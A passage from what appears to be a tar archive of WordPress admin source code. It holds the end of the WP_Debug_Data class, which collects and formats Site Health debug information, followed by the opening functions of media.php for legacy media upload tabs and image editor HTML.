		$info['wp-server']['fields']['utc-time']    = array(
			'label' => __( 'Current UTC time' ),
			'value' => $date->format( DateTime::RFC850 ),
		);
		$info['wp-server']['fields']['server-time'] = array(
			'label' => __( 'Current Server time' ),
			'value' => wp_date( 'c', $_SERVER['REQUEST_TIME'] ),
		);

		// Populate the database debug fields.
		if ( is_object( $wpdb->dbh ) ) {
			// mysqli or PDO.
			$extension = get_class( $wpdb->dbh );
		} else {
			// Unknown sql extension.
			$extension = null;
		}

		$server = $wpdb->get_var( 'SELECT VERSION()' );

		$client_version = $wpdb->dbh->client_info;

		$info['wp-database']['fields']['extension'] = array(
			'label' => __( 'Extension' ),
			'value' => $extension,
		);

		$info['wp-database']['fields']['server_version'] = array(
			'label' => __( 'Server version' ),
			'value' => $server,
		);

		$info['wp-database']['fields']['client_version'] = array(
			'label' => __( 'Client version' ),
			'value' => $client_version,
		);

		$info['wp-database']['fields']['database_user'] = array(
			'label'   => __( 'Database username' ),
			'value'   => $wpdb->dbuser,
			'private' => true,
		);

		$info['wp-database']['fields']['database_host'] = array(
			'label'   => __( 'Database host' ),
			'value'   => $wpdb->dbhost,
			'private' => true,
		);

		$info['wp-database']['fields']['database_name'] = array(
			'label'   => __( 'Database name' ),
			'value'   => $wpdb->dbname,
			'private' => true,
		);

		$info['wp-database']['fields']['database_prefix'] = array(
			'label'   => __( 'Table prefix' ),
			'value'   => $wpdb->prefix,
			'private' => true,
		);

		$info['wp-database']['fields']['database_charset'] = array(
			'label'   => __( 'Database charset' ),
			'value'   => $wpdb->charset,
			'private' => true,
		);

		$info['wp-database']['fields']['database_collate'] = array(
			'label'   => __( 'Database collation' ),
			'value'   => $wpdb->collate,
			'private' => true,
		);

		$info['wp-database']['fields']['max_allowed_packet'] = array(
			'label' => __( 'Max allowed packet size' ),
			'value' => self::get_mysql_var( 'max_allowed_packet' ),
		);

		$info['wp-database']['fields']['max_connections'] = array(
			'label' => __( 'Max connections number' ),
			'value' => self::get_mysql_var( 'max_connections' ),
		);

		// List must use plugins if there are any.
		$mu_plugins = get_mu_plugins();

		foreach ( $mu_plugins as $plugin_path => $plugin ) {
			$plugin_version = $plugin['Version'];
			$plugin_author  = $plugin['Author'];

			$plugin_version_string       = __( 'No version or author information is available.' );
			$plugin_version_string_debug = 'author: (undefined), version: (undefined)';

			if ( ! empty( $plugin_version ) && ! empty( $plugin_author ) ) {
				/* translators: 1: Plugin version number. 2: Plugin author name. */
				$plugin_version_string       = sprintf( __( 'Version %1$s by %2$s' ), $plugin_version, $plugin_author );
				$plugin_version_string_debug = sprintf( 'version: %s, author: %s', $plugin_version, $plugin_author );
			} else {
				if ( ! empty( $plugin_author ) ) {
					/* translators: %s: Plugin author name. */
					$plugin_version_string       = sprintf( __( 'By %s' ), $plugin_author );
					$plugin_version_string_debug = sprintf( 'author: %s, version: (undefined)', $plugin_author );
				}

				if ( ! empty( $plugin_version ) ) {
					/* translators: %s: Plugin version number. */
					$plugin_version_string       = sprintf( __( 'Version %s' ), $plugin_version );
					$plugin_version_string_debug = sprintf( 'author: (undefined), version: %s', $plugin_version );
				}
			}

			$info['wp-mu-plugins']['fields'][ sanitize_text_field( $plugin['Name'] ) ] = array(
				'label' => $plugin['Name'],
				'value' => $plugin_version_string,
				'debug' => $plugin_version_string_debug,
			);
		}

		// List all available plugins.
		$plugins        = get_plugins();
		$plugin_updates = get_plugin_updates();
		$transient      = get_site_transient( 'update_plugins' );

		$auto_updates = array();

		$auto_updates_enabled = wp_is_auto_update_enabled_for_type( 'plugin' );

		if ( $auto_updates_enabled ) {
			$auto_updates = (array) get_site_option( 'auto_update_plugins', array() );
		}

		foreach ( $plugins as $plugin_path => $plugin ) {
			$plugin_part = ( is_plugin_active( $plugin_path ) ) ? 'wp-plugins-active' : 'wp-plugins-inactive';

			$plugin_version = $plugin['Version'];
			$plugin_author  = $plugin['Author'];

			$plugin_version_string       = __( 'No version or author information is available.' );
			$plugin_version_string_debug = 'author: (undefined), version: (undefined)';

			if ( ! empty( $plugin_version ) && ! empty( $plugin_author ) ) {
				/* translators: 1: Plugin version number. 2: Plugin author name. */
				$plugin_version_string       = sprintf( __( 'Version %1$s by %2$s' ), $plugin_version, $plugin_author );
				$plugin_version_string_debug = sprintf( 'version: %s, author: %s', $plugin_version, $plugin_author );
			} else {
				if ( ! empty( $plugin_author ) ) {
					/* translators: %s: Plugin author name. */
					$plugin_version_string       = sprintf( __( 'By %s' ), $plugin_author );
					$plugin_version_string_debug = sprintf( 'author: %s, version: (undefined)', $plugin_author );
				}

				if ( ! empty( $plugin_version ) ) {
					/* translators: %s: Plugin version number. */
					$plugin_version_string       = sprintf( __( 'Version %s' ), $plugin_version );
					$plugin_version_string_debug = sprintf( 'author: (undefined), version: %s', $plugin_version );
				}
			}

			if ( array_key_exists( $plugin_path, $plugin_updates ) ) {
				/* translators: %s: Latest plugin version number. */
				$plugin_version_string       .= ' ' . sprintf( __( '(Latest version: %s)' ), $plugin_updates[ $plugin_path ]->update->new_version );
				$plugin_version_string_debug .= sprintf( ' (latest version: %s)', $plugin_updates[ $plugin_path ]->update->new_version );
			}

			if ( $auto_updates_enabled ) {
				if ( isset( $transient->response[ $plugin_path ] ) ) {
					$item = $transient->response[ $plugin_path ];
				} elseif ( isset( $transient->no_update[ $plugin_path ] ) ) {
					$item = $transient->no_update[ $plugin_path ];
				} else {
					$item = array(
						'id'            => $plugin_path,
						'slug'          => '',
						'plugin'        => $plugin_path,
						'new_version'   => '',
						'url'           => '',
						'package'       => '',
						'icons'         => array(),
						'banners'       => array(),
						'banners_rtl'   => array(),
						'tested'        => '',
						'requires_php'  => '',
						'compatibility' => new stdClass(),
					);
					$item = wp_parse_args( $plugin, $item );
				}

				$auto_update_forced = wp_is_auto_update_forced_for_item( 'plugin', null, (object) $item );

				if ( ! is_null( $auto_update_forced ) ) {
					$enabled = $auto_update_forced;
				} else {
					$enabled = in_array( $plugin_path, $auto_updates, true );
				}

				if ( $enabled ) {
					$auto_updates_string = __( 'Auto-updates enabled' );
				} else {
					$auto_updates_string = __( 'Auto-updates disabled' );
				}

				/**
				 * Filters the text string of the auto-updates setting for each plugin in the Site Health debug data.
				 *
				 * @since 5.5.0
				 *
				 * @param string $auto_updates_string The string output for the auto-updates column.
				 * @param string $plugin_path         The path to the plugin file.
				 * @param array  $plugin              An array of plugin data.
				 * @param bool   $enabled             Whether auto-updates are enabled for this item.
				 */
				$auto_updates_string = apply_filters( 'plugin_auto_update_debug_string', $auto_updates_string, $plugin_path, $plugin, $enabled );

				$plugin_version_string       .= ' | ' . $auto_updates_string;
				$plugin_version_string_debug .= ', ' . $auto_updates_string;
			}

			$info[ $plugin_part ]['fields'][ sanitize_text_field( $plugin['Name'] ) ] = array(
				'label' => $plugin['Name'],
				'value' => $plugin_version_string,
				'debug' => $plugin_version_string_debug,
			);
		}

		// Populate the section for the currently active theme.
		$theme_features = array();

		if ( ! empty( $_wp_theme_features ) ) {
			foreach ( $_wp_theme_features as $feature => $options ) {
				$theme_features[] = $feature;
			}
		}

		$active_theme  = wp_get_theme();
		$theme_updates = get_theme_updates();
		$transient     = get_site_transient( 'update_themes' );

		$active_theme_version       = $active_theme->version;
		$active_theme_version_debug = $active_theme_version;

		$auto_updates         = array();
		$auto_updates_enabled = wp_is_auto_update_enabled_for_type( 'theme' );
		if ( $auto_updates_enabled ) {
			$auto_updates = (array) get_site_option( 'auto_update_themes', array() );
		}

		if ( array_key_exists( $active_theme->stylesheet, $theme_updates ) ) {
			$theme_update_new_version = $theme_updates[ $active_theme->stylesheet ]->update['new_version'];

			/* translators: %s: Latest theme version number. */
			$active_theme_version       .= ' ' . sprintf( __( '(Latest version: %s)' ), $theme_update_new_version );
			$active_theme_version_debug .= sprintf( ' (latest version: %s)', $theme_update_new_version );
		}

		$active_theme_author_uri = $active_theme->display( 'AuthorURI' );

		if ( $active_theme->parent_theme ) {
			$active_theme_parent_theme = sprintf(
				/* translators: 1: Theme name. 2: Theme slug. */
				__( '%1$s (%2$s)' ),
				$active_theme->parent_theme,
				$active_theme->template
			);
			$active_theme_parent_theme_debug = sprintf(
				'%s (%s)',
				$active_theme->parent_theme,
				$active_theme->template
			);
		} else {
			$active_theme_parent_theme       = __( 'None' );
			$active_theme_parent_theme_debug = 'none';
		}

		$info['wp-active-theme']['fields'] = array(
			'name'           => array(
				'label' => __( 'Name' ),
				'value' => sprintf(
					/* translators: 1: Theme name. 2: Theme slug. */
					__( '%1$s (%2$s)' ),
					$active_theme->name,
					$active_theme->stylesheet
				),
			),
			'version'        => array(
				'label' => __( 'Version' ),
				'value' => $active_theme_version,
				'debug' => $active_theme_version_debug,
			),
			'author'         => array(
				'label' => __( 'Author' ),
				'value' => wp_kses( $active_theme->author, array() ),
			),
			'author_website' => array(
				'label' => __( 'Author website' ),
				'value' => ( $active_theme_author_uri ? $active_theme_author_uri : __( 'Undefined' ) ),
				'debug' => ( $active_theme_author_uri ? $active_theme_author_uri : '(undefined)' ),
			),
			'parent_theme'   => array(
				'label' => __( 'Parent theme' ),
				'value' => $active_theme_parent_theme,
				'debug' => $active_theme_parent_theme_debug,
			),
			'theme_features' => array(
				'label' => __( 'Theme features' ),
				'value' => implode( ', ', $theme_features ),
			),
			'theme_path'     => array(
				'label' => __( 'Theme directory location' ),
				'value' => get_stylesheet_directory(),
			),
		);

		if ( $auto_updates_enabled ) {
			if ( isset( $transient->response[ $active_theme->stylesheet ] ) ) {
				$item = $transient->response[ $active_theme->stylesheet ];
			} elseif ( isset( $transient->no_update[ $active_theme->stylesheet ] ) ) {
				$item = $transient->no_update[ $active_theme->stylesheet ];
			} else {
				$item = array(
					'theme'        => $active_theme->stylesheet,
					'new_version'  => $active_theme->version,
					'url'          => '',
					'package'      => '',
					'requires'     => '',
					'requires_php' => '',
				);
			}

			$auto_update_forced = wp_is_auto_update_forced_for_item( 'theme', null, (object) $item );

			if ( ! is_null( $auto_update_forced ) ) {
				$enabled = $auto_update_forced;
			} else {
				$enabled = in_array( $active_theme->stylesheet, $auto_updates, true );
			}

			if ( $enabled ) {
				$auto_updates_string = __( 'Enabled' );
			} else {
				$auto_updates_string = __( 'Disabled' );
			}

			/** This filter is documented in wp-admin/includes/class-wp-debug-data.php */
			$auto_updates_string = apply_filters( 'theme_auto_update_debug_string', $auto_updates_string, $active_theme, $enabled );

			$info['wp-active-theme']['fields']['auto_update'] = array(
				'label' => __( 'Auto-updates' ),
				'value' => $auto_updates_string,
				'debug' => $auto_updates_string,
			);
		}

		$parent_theme = $active_theme->parent();

		if ( $parent_theme ) {
			$parent_theme_version       = $parent_theme->version;
			$parent_theme_version_debug = $parent_theme_version;

			if ( array_key_exists( $parent_theme->stylesheet, $theme_updates ) ) {
				$parent_theme_update_new_version = $theme_updates[ $parent_theme->stylesheet ]->update['new_version'];

				/* translators: %s: Latest theme version number. */
				$parent_theme_version       .= ' ' . sprintf( __( '(Latest version: %s)' ), $parent_theme_update_new_version );
				$parent_theme_version_debug .= sprintf( ' (latest version: %s)', $parent_theme_update_new_version );
			}

			$parent_theme_author_uri = $parent_theme->display( 'AuthorURI' );

			$info['wp-parent-theme']['fields'] = array(
				'name'           => array(
					'label' => __( 'Name' ),
					'value' => sprintf(
						/* translators: 1: Theme name. 2: Theme slug. */
						__( '%1$s (%2$s)' ),
						$parent_theme->name,
						$parent_theme->stylesheet
					),
				),
				'version'        => array(
					'label' => __( 'Version' ),
					'value' => $parent_theme_version,
					'debug' => $parent_theme_version_debug,
				),
				'author'         => array(
					'label' => __( 'Author' ),
					'value' => wp_kses( $parent_theme->author, array() ),
				),
				'author_website' => array(
					'label' => __( 'Author website' ),
					'value' => ( $parent_theme_author_uri ? $parent_theme_author_uri : __( 'Undefined' ) ),
					'debug' => ( $parent_theme_author_uri ? $parent_theme_author_uri : '(undefined)' ),
				),
				'theme_path'     => array(
					'label' => __( 'Theme directory location' ),
					'value' => get_template_directory(),
				),
			);

			if ( $auto_updates_enabled ) {
				if ( isset( $transient->response[ $parent_theme->stylesheet ] ) ) {
					$item = $transient->response[ $parent_theme->stylesheet ];
				} elseif ( isset( $transient->no_update[ $parent_theme->stylesheet ] ) ) {
					$item = $transient->no_update[ $parent_theme->stylesheet ];
				} else {
					$item = array(
						'theme'        => $parent_theme->stylesheet,
						'new_version'  => $parent_theme->version,
						'url'          => '',
						'package'      => '',
						'requires'     => '',
						'requires_php' => '',
					);
				}

				$auto_update_forced = wp_is_auto_update_forced_for_item( 'theme', null, (object) $item );

				if ( ! is_null( $auto_update_forced ) ) {
					$enabled = $auto_update_forced;
				} else {
					$enabled = in_array( $parent_theme->stylesheet, $auto_updates, true );
				}

				if ( $enabled ) {
					$parent_theme_auto_update_string = __( 'Enabled' );
				} else {
					$parent_theme_auto_update_string = __( 'Disabled' );
				}

				/** This filter is documented in wp-admin/includes/class-wp-debug-data.php */
				$parent_theme_auto_update_string = apply_filters( 'theme_auto_update_debug_string', $auto_updates_string, $parent_theme, $enabled );

				$info['wp-parent-theme']['fields']['auto_update'] = array(
					'label' => __( 'Auto-update' ),
					'value' => $parent_theme_auto_update_string,
					'debug' => $parent_theme_auto_update_string,
				);
			}
		}

		// Populate a list of all themes available in the install.
		$all_themes = wp_get_themes();

		foreach ( $all_themes as $theme_slug => $theme ) {
			// Exclude the currently active theme from the list of all themes.
			if ( $active_theme->stylesheet === $theme_slug ) {
				continue;
			}

			// Exclude the currently active parent theme from the list of all themes.
			if ( ! empty( $parent_theme ) && $parent_theme->stylesheet === $theme_slug ) {
				continue;
			}

			$theme_version = $theme->version;
			$theme_author  = $theme->author;

			// Sanitize.
			$theme_author = wp_kses( $theme_author, array() );

			$theme_version_string       = __( 'No version or author information is available.' );
			$theme_version_string_debug = 'undefined';

			if ( ! empty( $theme_version ) && ! empty( $theme_author ) ) {
				/* translators: 1: Theme version number. 2: Theme author name. */
				$theme_version_string       = sprintf( __( 'Version %1$s by %2$s' ), $theme_version, $theme_author );
				$theme_version_string_debug = sprintf( 'version: %s, author: %s', $theme_version, $theme_author );
			} else {
				if ( ! empty( $theme_author ) ) {
					/* translators: %s: Theme author name. */
					$theme_version_string       = sprintf( __( 'By %s' ), $theme_author );
					$theme_version_string_debug = sprintf( 'author: %s, version: (undefined)', $theme_author );
				}

				if ( ! empty( $theme_version ) ) {
					/* translators: %s: Theme version number. */
					$theme_version_string       = sprintf( __( 'Version %s' ), $theme_version );
					$theme_version_string_debug = sprintf( 'author: (undefined), version: %s', $theme_version );
				}
			}

			if ( array_key_exists( $theme_slug, $theme_updates ) ) {
				/* translators: %s: Latest theme version number. */
				$theme_version_string       .= ' ' . sprintf( __( '(Latest version: %s)' ), $theme_updates[ $theme_slug ]->update['new_version'] );
				$theme_version_string_debug .= sprintf( ' (latest version: %s)', $theme_updates[ $theme_slug ]->update['new_version'] );
			}

			if ( $auto_updates_enabled ) {
				if ( isset( $transient->response[ $theme_slug ] ) ) {
					$item = $transient->response[ $theme_slug ];
				} elseif ( isset( $transient->no_update[ $theme_slug ] ) ) {
					$item = $transient->no_update[ $theme_slug ];
				} else {
					$item = array(
						'theme'        => $theme_slug,
						'new_version'  => $theme->version,
						'url'          => '',
						'package'      => '',
						'requires'     => '',
						'requires_php' => '',
					);
				}

				$auto_update_forced = wp_is_auto_update_forced_for_item( 'theme', null, (object) $item );

				if ( ! is_null( $auto_update_forced ) ) {
					$enabled = $auto_update_forced;
				} else {
					$enabled = in_array( $theme_slug, $auto_updates, true );
				}

				if ( $enabled ) {
					$auto_updates_string = __( 'Auto-updates enabled' );
				} else {
					$auto_updates_string = __( 'Auto-updates disabled' );
				}

				/**
				 * Filters the text string of the auto-updates setting for each theme in the Site Health debug data.
				 *
				 * @since 5.5.0
				 *
				 * @param string   $auto_updates_string The string output for the auto-updates column.
				 * @param WP_Theme $theme               An object of theme data.
				 * @param bool     $enabled             Whether auto-updates are enabled for this item.
				 */
				$auto_updates_string = apply_filters( 'theme_auto_update_debug_string', $auto_updates_string, $theme, $enabled );

				$theme_version_string       .= ' | ' . $auto_updates_string;
				$theme_version_string_debug .= ', ' . $auto_updates_string;
			}

			$info['wp-themes-inactive']['fields'][ sanitize_text_field( $theme->name ) ] = array(
				'label' => sprintf(
					/* translators: 1: Theme name. 2: Theme slug. */
					__( '%1$s (%2$s)' ),
					$theme->name,
					$theme_slug
				),
				'value' => $theme_version_string,
				'debug' => $theme_version_string_debug,
			);
		}

		// Add more filesystem checks.
		if ( defined( 'WPMU_PLUGIN_DIR' ) && is_dir( WPMU_PLUGIN_DIR ) ) {
			$is_writable_wpmu_plugin_dir = wp_is_writable( WPMU_PLUGIN_DIR );

			$info['wp-filesystem']['fields']['mu-plugins'] = array(
				'label' => __( 'The must use plugins directory' ),
				'value' => ( $is_writable_wpmu_plugin_dir ? __( 'Writable' ) : __( 'Not writable' ) ),
				'debug' => ( $is_writable_wpmu_plugin_dir ? 'writable' : 'not writable' ),
			);
		}

		/**
		 * Filters the debug information shown on the Tools -> Site Health -> Info screen.
		 *
		 * Plugin or themes may wish to introduce their own debug information without creating
		 * additional admin pages. They can utilize this filter to introduce their own sections
		 * or add more data to existing sections.
		 *
		 * Array keys for sections added by core are all prefixed with `wp-`. Plugins and themes
		 * should use their own slug as a prefix, both for consistency as well as avoiding
		 * key collisions. Note that the array keys are used as labels for the copied data.
		 *
		 * All strings are expected to be plain text except `$description` that can contain
		 * inline HTML tags (see below).
		 *
		 * @since 5.2.0
		 *
		 * @param array $args {
		 *     The debug information to be added to the core information page.
		 *
		 *     This is an associative multi-dimensional array, up to three levels deep.
		 *     The topmost array holds the sections, keyed by section ID.
		 *
		 *     @type array ...$0 {
		 *         Each section has a `$fields` associative array (see below), and each `$value` in `$fields`
		 *         can be another associative array of name/value pairs when there is more structured data
		 *         to display.
		 *
		 *         @type string $label       Required. The title for this section of the debug output.
		 *         @type string $description Optional. A description for your information section which
		 *                                   may contain basic HTML markup, inline tags only as it is
		 *                                   outputted in a paragraph.
		 *         @type bool   $show_count  Optional. If set to `true`, the amount of fields will be included
		 *                                   in the title for this section. Default false.
		 *         @type bool   $private     Optional. If set to `true`, the section and all associated fields
		 *                                   will be excluded from the copied data. Default false.
		 *         @type array  $fields {
		 *             Required. An associative array containing the fields to be displayed in the section,
		 *             keyed by field ID.
		 *
		 *             @type array ...$0 {
		 *                 An associative array containing the data to be displayed for the field.
		 *
		 *                 @type string $label    Required. The label for this piece of information.
		 *                 @type mixed  $value    Required. The output that is displayed for this field.
		 *                                        Text should be translated. Can be an associative array
		 *                                        that is displayed as name/value pairs.
		 *                                        Accepted types: `string|int|float|(string|int|float)[]`.
		 *                 @type string $debug    Optional. The output that is used for this field when
		 *                                        the user copies the data. It should be more concise and
		 *                                        not translated. If not set, the content of `$value`
		 *                                        is used. Note that the array keys are used as labels
		 *                                        for the copied data.
		 *                 @type bool   $private  Optional. If set to `true`, the field will be excluded
		 *                                        from the copied data, allowing you to show, for example,
		 *                                        API keys here. Default false.
		 *             }
		 *         }
		 *     }
		 * }
		 */
		$info = apply_filters( 'debug_information', $info );

		return $info;
	}

	/**
	 * Returns the value of a MySQL system variable.
	 *
	 * @since 5.9.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $mysql_var Name of the MySQL system variable.
	 * @return string|null The variable value on success. Null if the variable does not exist.
	 */
	public static function get_mysql_var( $mysql_var ) {
		global $wpdb;

		$result = $wpdb->get_row(
			$wpdb->prepare( 'SHOW VARIABLES LIKE %s', $mysql_var ),
			ARRAY_A
		);

		if ( ! empty( $result ) && array_key_exists( 'Value', $result ) ) {
			return $result['Value'];
		}

		return null;
	}

	/**
	 * Formats the information gathered for debugging, in a manner suitable for copying to a forum or support ticket.
	 *
	 * @since 5.2.0
	 *
	 * @param array  $info_array Information gathered from the `WP_Debug_Data::debug_data()` function.
	 * @param string $data_type  The data type to return, either 'info' or 'debug'.
	 * @return string The formatted data.
	 */
	public static function format( $info_array, $data_type ) {
		$return = "`\n";

		foreach ( $info_array as $section => $details ) {
			// Skip this section if there are no fields, or the section has been declared as private.
			if ( empty( $details['fields'] ) || ( isset( $details['private'] ) && $details['private'] ) ) {
				continue;
			}

			$section_label = 'debug' === $data_type ? $section : $details['label'];

			$return .= sprintf(
				"### %s%s ###\n\n",
				$section_label,
				( isset( $details['show_count'] ) && $details['show_count'] ? sprintf( ' (%d)', count( $details['fields'] ) ) : '' )
			);

			foreach ( $details['fields'] as $field_name => $field ) {
				if ( isset( $field['private'] ) && true === $field['private'] ) {
					continue;
				}

				if ( 'debug' === $data_type && isset( $field['debug'] ) ) {
					$debug_data = $field['debug'];
				} else {
					$debug_data = $field['value'];
				}

				// Can be array, one level deep only.
				if ( is_array( $debug_data ) ) {
					$value = '';

					foreach ( $debug_data as $sub_field_name => $sub_field_value ) {
						$value .= sprintf( "\n\t%s: %s", $sub_field_name, $sub_field_value );
					}
				} elseif ( is_bool( $debug_data ) ) {
					$value = $debug_data ? 'true' : 'false';
				} elseif ( empty( $debug_data ) && '0' !== $debug_data ) {
					$value = 'undefined';
				} else {
					$value = $debug_data;
				}

				if ( 'debug' === $data_type ) {
					$label = $field_name;
				} else {
					$label = $field['label'];
				}

				$return .= sprintf( "%s: %s\n", $label, $value );
			}

			$return .= "\n";
		}

		$return .= '`';

		return $return;
	}

	/**
	 * Fetches the total size of all the database tables for the active database user.
	 *
	 * @since 5.2.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @return int The size of the database, in bytes.
	 */
	public static function get_database_size() {
		global $wpdb;
		$size = 0;
		$rows = $wpdb->get_results( 'SHOW TABLE STATUS', ARRAY_A );

		if ( $wpdb->num_rows > 0 ) {
			foreach ( $rows as $row ) {
				$size += $row['Data_length'] + $row['Index_length'];
			}
		}

		return (int) $size;
	}

	/**
	 * Fetches the sizes of the WordPress directories: `wordpress` (ABSPATH), `plugins`, `themes`, and `uploads`.
	 * Intended to supplement the array returned by `WP_Debug_Data::debug_data()`.
	 *
	 * @since 5.2.0
	 *
	 * @return array The sizes of the directories, also the database size and total installation size.
	 */
	public static function get_sizes() {
		$size_db    = self::get_database_size();
		$upload_dir = wp_get_upload_dir();

		/*
		 * We will be using the PHP max execution time to prevent the size calculations
		 * from causing a timeout. The default value is 30 seconds, and some
		 * hosts do not allow you to read configuration values.
		 */
		if ( function_exists( 'ini_get' ) ) {
			$max_execution_time = ini_get( 'max_execution_time' );
		}

		/*
		 * The max_execution_time defaults to 0 when PHP runs from cli.
		 * We still want to limit it below.
		 */
		if ( empty( $max_execution_time ) ) {
			$max_execution_time = 30; // 30 seconds.
		}

		if ( $max_execution_time > 20 ) {
			/*
			 * If the max_execution_time is set to lower than 20 seconds, reduce it a bit to prevent
			 * edge-case timeouts that may happen after the size loop has finished running.
			 */
			$max_execution_time -= 2;
		}

		/*
		 * Go through the various installation directories and calculate their sizes.
		 * No trailing slashes.
		 */
		$paths = array(
			'wordpress_size' => untrailingslashit( ABSPATH ),
			'themes_size'    => get_theme_root(),
			'plugins_size'   => WP_PLUGIN_DIR,
			'uploads_size'   => $upload_dir['basedir'],
		);

		$exclude = $paths;
		unset( $exclude['wordpress_size'] );
		$exclude = array_values( $exclude );

		$size_total = 0;
		$all_sizes  = array();

		// Loop over all the directories we want to gather the sizes for.
		foreach ( $paths as $name => $path ) {
			$dir_size = null; // Default to timeout.
			$results  = array(
				'path' => $path,
				'raw'  => 0,
			);

			if ( microtime( true ) - WP_START_TIMESTAMP < $max_execution_time ) {
				if ( 'wordpress_size' === $name ) {
					$dir_size = recurse_dirsize( $path, $exclude, $max_execution_time );
				} else {
					$dir_size = recurse_dirsize( $path, null, $max_execution_time );
				}
			}

			if ( false === $dir_size ) {
				// Error reading.
				$results['size']  = __( 'The size cannot be calculated. The directory is not accessible. Usually caused by invalid permissions.' );
				$results['debug'] = 'not accessible';

				// Stop total size calculation.
				$size_total = null;
			} elseif ( null === $dir_size ) {
				// Timeout.
				$results['size']  = __( 'The directory size calculation has timed out. Usually caused by a very large number of sub-directories and files.' );
				$results['debug'] = 'timeout while calculating size';

				// Stop total size calculation.
				$size_total = null;
			} else {
				if ( null !== $size_total ) {
					$size_total += $dir_size;
				}

				$results['raw']   = $dir_size;
				$results['size']  = size_format( $dir_size, 2 );
				$results['debug'] = $results['size'] . " ({$dir_size} bytes)";
			}

			$all_sizes[ $name ] = $results;
		}

		if ( $size_db > 0 ) {
			$database_size = size_format( $size_db, 2 );

			$all_sizes['database_size'] = array(
				'raw'   => $size_db,
				'size'  => $database_size,
				'debug' => $database_size . " ({$size_db} bytes)",
			);
		} else {
			$all_sizes['database_size'] = array(
				'size'  => __( 'Not available' ),
				'debug' => 'not available',
			);
		}

		if ( null !== $size_total && $size_db > 0 ) {
			$total_size    = $size_total + $size_db;
			$total_size_mb = size_format( $total_size, 2 );

			$all_sizes['total_size'] = array(
				'raw'   => $total_size,
				'size'  => $total_size_mb,
				'debug' => $total_size_mb . " ({$total_size} bytes)",
			);
		} else {
			$all_sizes['total_size'] = array(
				'size'  => __( 'Total size is not available. Some errors were encountered when determining the size of your installation.' ),
				'debug' => 'not available',
			);
		}

		return $all_sizes;
	}
}
media.php000064400000346315150275632050006355 0ustar00<?php
/**
 * WordPress Administration Media API.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * Defines the default media upload tabs.
 *
 * @since 2.5.0
 *
 * @return string[] Default tabs.
 */
function media_upload_tabs() {
	$_default_tabs = array(
		'type'     => __( 'From Computer' ), // Handler action suffix => tab text.
		'type_url' => __( 'From URL' ),
		'gallery'  => __( 'Gallery' ),
		'library'  => __( 'Media Library' ),
	);

	/**
	 * Filters the available tabs in the legacy (pre-3.5.0) media popup.
	 *
	 * @since 2.5.0
	 *
	 * @param string[] $_default_tabs An array of media tabs.
	 */
	return apply_filters( 'media_upload_tabs', $_default_tabs );
}

/**
 * Adds the gallery tab back to the tabs array if post has image attachments.
 *
 * @since 2.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param array $tabs
 * @return array $tabs with gallery if post has image attachment
 */
function update_gallery_tab( $tabs ) {
	global $wpdb;

	if ( ! isset( $_REQUEST['post_id'] ) ) {
		unset( $tabs['gallery'] );
		return $tabs;
	}

	$post_id = (int) $_REQUEST['post_id'];

	if ( $post_id ) {
		$attachments = (int) $wpdb->get_var( $wpdb->prepare( "SELECT count(*) FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status != 'trash' AND post_parent = %d", $post_id ) );
	}

	if ( empty( $attachments ) ) {
		unset( $tabs['gallery'] );
		return $tabs;
	}

	/* translators: %s: Number of attachments. */
	$tabs['gallery'] = sprintf( __( 'Gallery (%s)' ), "<span id='attachments-count'>$attachments</span>" );

	return $tabs;
}

/**
 * Outputs the legacy media upload tabs UI.
 *
 * @since 2.5.0
 *
 * @global string $redir_tab
 */
function the_media_upload_tabs() {
	global $redir_tab;
	$tabs    = media_upload_tabs();
	$default = 'type';

	if ( ! empty( $tabs ) ) {
		echo "<ul id='sidemenu'>\n";

		if ( isset( $redir_tab ) && array_key_exists( $redir_tab, $tabs ) ) {
			$current = $redir_tab;
		} elseif ( isset( $_GET['tab'] ) && array_key_exists( $_GET['tab'], $tabs ) ) {
			$current = $_GET['tab'];
		} else {
			/** This filter is documented in wp-admin/media-upload.php */
			$current = apply_filters( 'media_upload_default_tab', $default );
		}

		foreach ( $tabs as $callback => $text ) {
			$class = '';

			if ( $current == $callback ) {
				$class = " class='current'";
			}

			$href = add_query_arg(
				array(
					'tab'            => $callback,
					's'              => false,
					'paged'          => false,
					'post_mime_type' => false,
					'm'              => false,
				)
			);
			$link = "<a href='" . esc_url( $href ) . "'$class>$text</a>";
			echo "\t<li id='" . esc_attr( "tab-$callback" ) . "'>$link</li>\n";
		}

		echo "</ul>\n";
	}
}

/**
 * Retrieves the image HTML to send to the editor.
 *
 * @since 2.5.0
 *
 * @param int          $id      Image attachment ID.
 * @param string       $caption Image caption.
 * @param string       $title   Image title attribute.
 * @param string       $align   Image CSS alignment property.
 * @param string       $url     Optional. Image src URL. Default empty.
 * @param bool|string  $rel     Optional. Value for rel attribute or whether to add a default value. Default false.
 * @param string|int[] $size    Optional. Image size. Accepts any registered image size name, or an array of
 *                              width and height values in pixels (in that order). Default 'medium'.
 * @param string       $alt     Optional. Image alt attribute. Default empty.
 * @return string The HTML output to insert into the editor.
 */
function get_image_send_to_editor( $id, $caption, $title, $align, $url = '', $rel = false, $size = 'medium', $alt = '' ) {

	$html = get_image_tag( $id, $alt, '', $align, $size );

	if ( $rel ) {
		if ( is_string( $rel ) ) {
			$rel = ' rel="' . esc_attr( $rel ) . '"';
		} else {
			$rel = ' rel="attachment wp-att-' . (int) $id . '"';
		}
	} else {
		$rel = '';
	}

	if ( $url ) {
		$html = '<a href="' . esc_url( $url ) . '"' . $rel . '>' . $html . '</a>';
	}

	/**
	 * Filters the image HTML markup to send to the editor when inserting an image.
	 *
	 * @since 2.5.0
	 * @since 5.6.0 The `$rel` parameter was added.
	 *
	 * @param string       $html    The image HTML markup to send.
	 * @param int          $id      The attachment ID.
	 * @param string       $caption The image caption.
	 * @param string       $title   The image title.
	 * @param string       $align   The image alignment.
	 * @param string       $url     The image source URL.
	 * @param string|int[] $size    Requested image size. Can be any registered image size name, or
	 *                              an array of width and height values in pixels (in that order).
	 * @param string       $alt     The image alternative, or alt, text.
	 * @param string       $rel     The image rel attribute.
	 */
	$html = apply_filters( 'image_send_to_editor', $html, $id, $caption, $title, $align, $url, $size, $alt, $rel );

	return $html;
}

/**
 * Adds image shortcode with caption to editor.
 *
 * @since 2.6.0
 *
 * @param string  $html    The image HTML markup to send.
 * @param int     $id      Image attachment ID.
 * @param string  $caption Image caption.
